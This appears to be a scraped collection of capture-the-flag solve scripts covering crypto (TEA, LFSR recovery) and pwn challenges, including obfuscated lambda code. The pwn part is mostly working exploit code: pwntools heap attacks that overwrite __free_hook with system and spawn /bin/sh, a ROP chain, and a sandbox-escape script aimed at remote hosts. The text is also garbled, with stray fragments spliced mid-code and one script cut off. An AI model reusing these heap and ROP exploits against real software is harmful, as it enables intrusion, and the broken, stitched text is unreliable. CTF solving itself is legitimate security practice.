(If)(___)(_)(__))((Or)((And)(_)(__))((And)((Eor)(_)(__))(___)))((Eor) ((Eor)(_)(__))(___)))))))(_)(__)(F)))(__)((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(___) (____)))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______) (_______)(________)))(T)(F)(F)(T)(T)(T)(T)(F))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(F)(F)(T)(T)(F)(T)(T)(T)) ((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)) (_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______) (_______)(________)))(F)(T)(T)(T)(T)(F)(F)(T))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(T)(F)(T)(T)(T)(F)(F) (T)))))((lambda _: _(F))((lambda _: _(F))(_))))((lambda _: _(T))((lambda _: _(F))(_)))) ((lambda _: _(T))(_)))(___))(____)))(lambda _: lambda __: _(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(_(__))))))))))))))))))))) ))))))))))))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F)))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F))))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F))((lambda _: lambda __: lambda ___: (If)(___)(_) (__))(F)(F)))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F))((lambda _: lambda __: lambda ___: (If)(___)(_) (__))(F)(F)))))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F)))((lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F))))((lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F) (F)))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F)(F))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(F) (F))))))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)))))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(___)(____)))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________))) (________________________________)(_______________________________) (______________________________)(_____________________________) (____________________________)(___________________________)(__________________________) (_________________________))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_) (__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)) (___)(____)))(_____)(______)(_______)(________)))(________________________) (_______________________)(______________________)(_____________________) (____________________)(___________________)(__________________)(_________________)) ((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)) (_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______) (_______)(________)))(________________)(_______________)(______________)(_____________) (____________)(___________)(__________)(_________))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(________)(_______) (______)(_____)(____)(___)(__)(_)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(___) (____)))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______) (_______)(________)))(________________________________________________________________) (_______________________________________________________________) (______________________________________________________________) (_____________________________________________________________) (____________________________________________________________) (___________________________________________________________) (__________________________________________________________) (_________________________________________________________))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__) (___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______)(_______)(________))) (________________________________________________________) (_______________________________________________________) (______________________________________________________) (_____________________________________________________) (____________________________________________________) (___________________________________________________) (__________________________________________________) (_________________________________________________))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________))) (________________________________________________) (_______________________________________________) (______________________________________________) (_____________________________________________) (____________________________________________) (___________________________________________) (__________________________________________) (_________________________________________))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____)) ((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) (_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(___)(____)))(_____)(______)(_______)(________))) (________________________________________)(_______________________________________) (______________________________________)(_____________________________________) (____________________________________)(___________________________________) (__________________________________)(_________________________________)))))(tmp[0]) (tmp[1])(tmp[2])(tmp[3])(tmp[4])(tmp[5])(tmp[6])(tmp[7])(tmp[8])(tmp[9])(tmp[10]) (tmp[11])(tmp[12])(tmp[13])(tmp[14])(tmp[15])(tmp[16])(tmp[17])(tmp[18])(tmp[19]) (tmp[20])(tmp[21])(tmp[22])(tmp[23])(tmp[24])(tmp[25])(tmp[26])(tmp[27])(tmp[28]) (tmp[29])(tmp[30])(tmp[31])(tmp[32])(tmp[33])(tmp[34])(tmp[35])(tmp[36])(tmp[37]) (tmp[38])(tmp[39])(tmp[40])(tmp[41])(tmp[42])(tmp[43])(tmp[44])(tmp[45])(tmp[46]) (tmp[47])(tmp[48])(tmp[49])(tmp[50])(tmp[51])(tmp[52])(tmp[53])(tmp[54])(tmp[55]) (tmp[56])(tmp[57])(tmp[58])(tmp[59])(tmp[60])(tmp[61])(tmp[62])(tmp[63])(True)(False) if r: print('Correct') else: print('Error') # okay decompiling lalamblambdadambda.pyc 0x9e3779b9tea #include <stdint.h> #include <stdio.h> void encrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i < 32; i++) { /* basic cycle start */ sum += delta; v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); } /* end cycle */ v[0]=v0; v[1]=v1; } void decrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i<32; i++) { /* basic cycle start */ v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3); v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } void swap(uint32_t* a, uint32_t* b) { uint32_t c = *a; *a = *b; *b = c; } void perm(uint32_t str[], int index, int str_size) { int i = 0,j = 0; if(index == str_size) { for(i = 0; i < str_size; i++) { printf("%x ",str[i]); } // printf("\n"); uint32_t p[] = {0xaaaaaaaa,0xaaaaaaaa}; encrypt(p,str); printf(":%x %x\n",p[0],p[1]); } else { Crypto zer0lfsr- 3: for(j = index;j < str_size; j++) { swap(&str[j],&str[index]); perm(str,index+1,str_size); swap(&str[j],&str[index]); } } } int main() { // 0x8e0x5f0x600x98 // // uint32_t k[] = {0x8e5f6098,0x86f2cd64 ,0x61a1267f,0xf0cc04d4}; uint32_t k[] = {0x86f2cd64,0x8e5f6098 ,0xf0cc04d4,0x61a1267f}; uint32_t p[] = {0xaaaaaaaa,0xaaaaaaaa}; encrypt(p,k); printf("%x %x\n",p[0],p[1]); // perm(k,0,4); uint32_t enc[] = {0xdf9b0fd0,0x306e3591}; decrypt(enc,k); printf("%x %x\n",enc[0],enc[1]); // flag{f6254feadb0fe00} // uint32_t k2[4] = {0}; flag{fe54620f00feb0ad} // printf("%x %x",p[0],p[1]); return 0; } from hashlib import sha256 import random hint = 'e7ce83efc6acb6def757897d96b0f94affac7943c3f968fb0e3a9d64d11f75af' output = 0x0fbe5f6f3021793ddd044cc21a04f65503f4f3156802e9b13a99e4e99b880c07dff72504ca95a4dd69ff5 e13f2f83fc538b63ea2669150289d2803f6953829af147c4d4c935659fb694d50b00b3c79039454bfedf5a4 ac6d204c2cd286385a61a25f8cb0 def n2l(x, l): return list(map(int, '{{0:0{}b}}'.format(l).format(x))) output = n2l(output,800) mask = 2**63+2**8 length = 64 1lfsr15/16n[27]n[0]3.5%48 F = GF(2) A = matrix(F, length) for i in range(length): A[i, -1] = bool(mask & (1 << (length - i - 1))) for i in range(length - 1): A[i + 1, i] = 1 bl = vector(F, length) bl[8] = 1 bl[63] = 1 AL = [(A ^ (i+1)) * bl for i in range(3*len(output))] while True: idxs = [i for i in range(len(output))] random.shuffle(idxs) A = matrix(F,[AL[3*i+2] for i in idxs[:length]]) A = A.transpose() y = vector(F,[output[i] for i in idxs[:length]]) try: x = A.solve_left(y) except ValueError: continue x = [i for i in list(x)] key = 0 for i in x: key <<= 1 key |= int(i) if(hint == sha256(str(key).encode()).hexdigest()): print(key) break from Crypto.Util.number import * from pwn import * from hashlib import sha256 import random def _prod(L): p = 1 for x in L: p *= x return p def _sum(L): s = 0 for x in L: s ^= x return s def b2n(x): return int.from_bytes(x, 'big') def n2l(x, l): return list(map(int, '{{0:0{}b}}'.format(l).format(x))) TAP = [0, 1, 12, 15] h_IN = [2, 4, 7, 15] h_OUT = [[1], [3], [0, 3], [0, 1, 2], [0, 2, 3]] alist = [0]*65536 for t in range(65536): LFSR = n2l(t,16) for i in range(48): x = [LFSR[i] for i in h_IN] alist[t] = alist[t]*2 + _sum(_prod(x[i] for i in j) for j in h_OUT) LFSR = LFSR[1: ] + [_sum(LFSR[i] for i in TAP)] HOST = "111.186.59.28" POST = 31337 r = remote(HOST, POST) def proof_of_work(): rev = r.recvuntil("sha256(XXXX + ") suffix = r.recv(16).decode() rev = r.recvuntil(" == ") tar = r.recv(64).decode() def f(x): hashresult = hashlib.sha256(x.encode()+suffix.encode()).hexdigest() return hashresult == tar prefix = util.iters.mbruteforce(f, string.digits + string.ascii_letters + '!#$%&*- ?', 4, 'upto') r.recvuntil("Give me XXXX:") r.sendline(prefix) proof_of_work() r.recvuntil(b'which one:') r.sendline('1') r.recvuntil(b'start:::') tmp = r.recvline() data = b'' while(tmp[-4:]!=b'end\\n'): data += tmp tmp = r.recvline() data += tmp output = int(data[:6].hex(),16) r.recvuntil(b'hint: ') data = r.recvline() hint = data[:-1].decode() for t in range(65536): key = (alist[t]^^output)*65536+t if(hint == sha256(str(key).encode()).hexdigest()): print(t,key) r.recvuntil(b'k: ') r.sendline(str(key)) break r.recvuntil(b'which one:') r.sendline('3') r.recvuntil(b'start:::') tmp = r.recvline() data = b'' while(tmp[-4:]!=b'end\\n'): data += tmp tmp = r.recvline() data += tmp output = int(data[:100].hex(),16) r.recvuntil(b'hint: ') data = r.recvline() hint = data[:-1].decode() output = n2l(output,800) mask = 2**63+2**8 length = 64 F = GF(2) A = matrix(F, length) for i in range(length): A[i, -1] = bool(mask & (1 << (length - i - 1))) for i in range(length - 1): A[i + 1, i] = 1 bl = vector(F, length) bl[8] = 1 bl[63] = 1 AL = [(A ^ (i+1)) * bl for i in range(3*len(output))] while True: idxs = [i for i in range(len(output))] checkin random.shuffle(idxs) A = matrix(F,[AL[3*i+2] for i in idxs[:length]]) A = A.transpose() y = vector(F,[output[i] for i in idxs[:length]]) try: x = A.solve_left(y) except ValueError: continue x = [i for i in list(x)] key = 0 for i in x: key <<= 1 key |= int(i) if(hint == sha256(str(key).encode()).hexdigest()): print(key) r.recvuntil(b'k: ') r.sendline(str(key)) break r.interactive() package main import ( "bufio" "fmt" "math/big" "net" "strconv" "strings" "time" ) func main() { // build connection conn, err := net.Dial("tcp", "111.186.59.11:16256") if err != nil { fmt.Printf("conn server failed, err:%v\n", err) return } defer conn.Close() // read data reader := bufio.NewReader(conn) var buf [1024]byte n, err := reader.Read(buf[:]) // Show me your computation: n, err = reader.Read(buf[:]) PWN listbook if err != nil { fmt.Printf("read from conn failed, err:%v\n", err) } recv := string(buf[:]) end := strings.Index(recv, " =") r, _ := strconv.Atoi(recv[6:14]) m, _ := new(big.Int).SetString(recv[20:end], 10) fmt.Printf("r%v\nm: %v\n", r, m) // calculation quotient := r / 1000 remainder := r % 1000 s := new(big.Int).Exp(big.NewInt(2), big.NewInt(1000), nil) t := big.NewInt(2) start := time.Now() for i := 0; i < quotient; i = i+1 { t.Exp(t, s, m) } t.Exp(t, new(big.Int).Exp(big.NewInt(2), big.NewInt(int64(remainder)), nil), m) elapsed := time.Now().Sub(start) fmt.Println(t, elapsed) // send result conn.Write([]byte(t.String() + "\n")) // correct && flag n, err = reader.Read(buf[:]) n, err = reader.Read(buf[:]) if err != nil { fmt.Printf("read from conn failed, err:%v\n", err) } fmt.Printf("%v\n", string(buf[:n])) } #! /usr/bin/python # coding=utf-8 import sys from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') elf = ELF("./pwn") libc = ELF('libc.so.6') def Log(name): log.success(name+' = '+hex(eval(name))) if(len(sys.argv)==1): #local sh = process(["./pwn"]) else: #remtoe sh = remote('111.186.58.249', 20001) def Num(n): sh.sendline(str(n)) def Cmd(n): sh.recvuntil(">>") Num(n) def Add(name, cont): Cmd(1) sh.recvuntil('name>') if(type(name)==type('')): sh.send(name) else: sh.sendline(chr(name)) sh.recvuntil('content>') sh.send(cont) def Delete(idx): Cmd(2) sh.recvuntil('index>') Num(idx) def List(idx): Cmd(3) sh.recvuntil('index>') Num(idx) def GDB(): gdb.attach(sh, ''' break *(0x0000555555554000+0x1656) telescope 0x0000555555554000+0x4840 16 heap bins ''') Add(1, 'A\n') Add(2, 'B\n') for i in range(7): Add('C'*0x10, str(i)+'\n') #leak heap addr List(0) sh.recvuntil('C'*0x10) heap_addr = u64(sh.recv(6).ljust(8, '\x00'))-0x1260 Log('heap_addr') Delete(0) # Tcahce[0x210] is full Delete(2) #UB<=>B Delete(1) #UB<=>A<=>B #leak libc addr Add('\x80\n', 'Overflow\n') #ins_use[1]=1, UB<=>(B, 0x1e0), SB<=>A List(1) sh.recvuntil(' => ') libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x1ebde0 Log('libc.address') #double bin Delete(1) #SB[0x210]<=>A, Tcache[0x210]<=>A #Small Bin Attack exp = p64(0x123) #fd = any exp+= p64(heap_addr+0xa90) #bk = SB0 Add(4, exp+'\n') #forge Small Bin list: SB<=>A<=>SB0<=>SB1<=>SB2, SB1 and SB2 are overlap exp = '1'*0x40 #telescope 0x55555555b990-0x10 50 exp+= flat(0, 0x211, heap_addr+0xa30, libc.address+0x1ebde0) #SB2: SB1<=SB2=>SmallBin exp+= '2'*0x40 exp+= flat(0, 0x211, heap_addr+0xa90, heap_addr+0x9d0) # SB1: SB0<=SB1=>SB2 exp+= '3'*0x40 exp+= flat(0, 0x211, heap_addr+0x2c0, heap_addr+0xa30) # SB0: A<=SB0=>SB1 Add(5, exp+'\n') #clean Tcache for i in range(5): Add(5, str(i)+'\n') #Trigger Small Bin Tcache Stash, Tcache->SB0->SB1->SB2 Add(5, '5\n') #Tcache Attack exp = 'A'*0x50 exp+= flat(0, 0x211, libc.symbols['__free_hook'], 0) how2mutate fuzzfreechunk realloc0double freekeytcache Add(5, exp+'\n') #Tcache[0x210]->SB1->free hook Add(5, 'CHH\n') Add(5, flat(libc.symbols['system'])+'\n') #getshell Add(6, '/bin/sh\x00'+'\n') Delete(6) #GDB() sh.interactive() ''' flag{B4by_D0o0B13_F73e_1s_Re41ly_Ea5y} ''' from pwn import * from ctypes import CDLL import fuckpy3 context.arch = 'amd64' context.log_level = 'debug' #p = process('./how2mutate') p = remote('111.186.59.27', 12345) #p = remote('0.0.0.0', 12345) libc = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so') def launch_gdb(): # context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] # gdb.attach(proc.pidof(p)[0]) #os.system("gnome-terminal -- gdb -q ./how2mutate " + str(proc.pidof(p)[0])) print(str(proc.pidof(p)[0])) def add(s,c): p.sendlineafter('>','1') p.sendlineafter(':',str(s)) p.sendafter(':',c) def mutate_seed(s): p.sendlineafter('>','2') p.sendlineafter(':',str(s)) def show(): p.sendlineafter('>','3') def delete(s): p.sendlineafter('>','4') p.sendlineafter(':',str(s)) def set_mutate(s): p.sendlineafter('>','5') p.sendlineafter(':',str(s)) def run(): p.sendlineafter('>','6') set_mutate(0) add(0x80-1,'aaa') add(0,'') mutate_seed(1) p.recvuntil('realloc(') leak_heap = p.recvuntil(',',drop=True) leak_heap = int(leak_heap,16) #log.info('leak heap' + hex(leak_heap)) add(0,'') add(0,'') add(0x500,'aa') add(0x30,'aa') delete(1) run() sleep(0.1) mutate_seed(2) '''p.recvuntil('realloc(') leak_heap = p.recvuntil(',',drop=True) leak_heap = int(leak_heap,16) log.info('leak heap' + hex(leak_heap)) ''' log.info('leak heap' + hex(leak_heap)) big_chunk = 528 + leak_heap add(0x9,p64(big_chunk + 0x10)) add(0x9,p64(big_chunk + 0x10)) add(0x9,p64(big_chunk + 0x10)) delete(5) show() p.recvuntil('3: ') leak_libc = p.recv(6) + b'\\x00\\x00' leak_libc = u64(leak_libc) - 2014176 log.info('leak libc ' + hex(leak_libc)) add(0,'') delete(1) run() sleep(0.1) mutate_seed(5) add(0x9,p64(leak_libc + libc.symbols['__free_hook'])) add(0x9,p64(leak_libc + libc.symbols['__free_hook'])) add(0x9,p64(libc.symbols['system'] + leak_libc)) add(0x100,'/bin/sh\\x00') delete(7) #input() '''add(0x9,p64(0x154930 + leak_libc)) uc_masteeer sys_call rdi => rsi => 1 rdx => 2 rcx => 3 0: read(fd, buf_addr, size) 1: write(fd, buf_addr, size) 60: exit(code) admin: jmp [0xBABECAFE008] -> tail main: jmp [0xBABECAFE000] -> admin tail: jmp [0xBABECAFE010] -> main main admin is_admin = true, jmp [0xBABECAFE000] admin admin echo /bin/sh. main admin admin admin [0xBABECAFE000] main admin, admin /bin/sh [0xBABECAFE000]admin user test admin. chunk_base = 2224 + leak_heap + 0x10 payload = p64(0) + p64(chunk_base) + p64(0) * 2 + p64(leak_libc + 0x580DD) payload = payload.ljust(0x68,b'\\x00') + p64(chunk_base + 0x100) # rdi payload = payload.ljust(0xa0,b'\\x00') + p64(chunk_base + 0x120)# rsp payload += p64(leak_libc + libc.symbols['open']) # rip payload = payload.ljust(0x100,b'\\x00') payload += b'flag'.ljust(0x20,b'\\x00') payload += p64(leak_libc + 0x0000000000026b72) # pop rdi payload += p64(4) payload += p64(leak_libc + 0x0000000000027529) # pop rsi payload += p64(leak_heap) payload += p64(leak_libc + 0x0000000000162866 ) # 0x0000000000162866 : pop rdx ; pop rbx ; ret payload += p64(0x100) * 2 payload += p64(leak_libc + libc.symbols['read']) payload += p64(leak_libc + 0x0000000000026b72) # pop rdi payload += p64(1) payload += p64(leak_libc + 0x0000000000027529) # pop rsi payload += p64(leak_heap) payload += p64(leak_libc + 0x0000000000162866 ) # 0x0000000000162866 : pop rdx ; pop rbx ; ret payload += p64(0x100) * 2 payload += p64(leak_libc + libc.symbols['write']) add(0x500,payload) delete(7)''' p.interactive() from pwn import * CODE = 0xdeadbeef000 context.log_level = 'debug' #p = process(['python3', 'sb2.py']) p=remote('111.186.59.29', 10087) p.sendline("") p.sendlineafter("?: \\\\x00", "3") Babyheap 2021 musl-1.1.24, size POC: muslunlinkchunk, atexit, fun(arg), , setcontext, GG, ROP rspripgg p.sendafter("addr: \\\\x00", p64(0xBABECAFE000)) p.sendafter("size: \\\\x00", p64(0x8)) p.sendafter("data: \\\\x00", p64(0xdeadbeef000)) p.sendlineafter("?: \\\\x00", "1") p.sendlineafter("?: \\\\x00", "3") p.sendafter("addr: \\\\x00", p64(0xDEADBEF005A)) p.sendafter("size: \\\\x00", p64(0x8)) p.sendafter("data: \\\\x00", b"/bin/sh\\\\x00") 